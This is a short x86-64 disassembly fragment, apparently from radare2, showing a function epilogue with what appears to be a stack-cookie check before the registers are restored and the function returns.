mov rcx, qword [rbp + 0x448]
xor rcx, rbp
call fcn.1400111c2
lea rsp, [rbp + 0x458]
pop rdi
pop rbp
ret